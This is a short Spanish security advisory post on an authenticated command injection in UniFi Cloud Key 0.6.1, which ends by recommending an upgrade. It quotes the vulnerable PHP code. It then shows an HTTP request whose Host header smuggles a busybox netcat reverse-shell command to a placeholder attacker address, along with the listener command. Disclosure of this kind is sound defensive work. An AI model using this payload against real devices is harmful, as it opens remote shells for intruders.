jueves, 31 de agosto de 2017

Command Injection en Ubiquiti Networks UniFi Cloud Key

Ubiquiti Networks desarrolla tecnologías de redes de alto rendimiento para empresas y proveedores de servicios. La plataforma se enfoca en ofrecer soluciones avanzadas y fáciles de implementar.


Existe una inyección de comandos a través de la cabecera de una petición GET en la versión 0.6.1 de UniFi Cloud Key. Esta vulnerabilidad puede ser explotada cuando la interfaz de Cloud Key está expuesta a Internet y un atacante tenga las credenciales.

El código responsable de esta vulnerabilidad es:

function is_unifi_running() {
   if (!isset($_SERVER['HTTP_HOST'])) {
           $c_host = $_SERVER['SERVER_ADDR'];
   } else {
           $c_host = $_SERVER['HTTP_HOST'];
   }
   $unifi_href = 'http://' . $c_host . ':8080/status';
   exec(CMD_CURL . $unifi_href, $out, $rc);
   if ($rc == 0) {
       return true;
   }
   return false;
}


La variable $c_host no está filtrada y esto hace posible la inyección de código. La siguiente petición GET puede ser usada para abrir una reverse-shell.

GET /api/status HTTP/1.1
Host: SERVER_ADDRESS;busybox nc ATTACK_ADDRESS 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://SYSTEM_ADDRESS/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close

El atacante sólo tiene que ejecutar netcat con los siguientes parámetros

$ nc -lvp 8999

Para arreglar esta vulnerabilidad se recomienda actualizar a la versión 0.6.4 o superiores.


Mario Parra
mparra@hispasec.com

Más información:

UBIQUITI NETWORKS UNIFI CLOUD KEY AUTHENTICATED COMMAND INJECTION
https://www.sec-consult.com/en/blog/advisories/ubiquiti-networks-unifi-cloud-key-authenticated-command-injection/index.html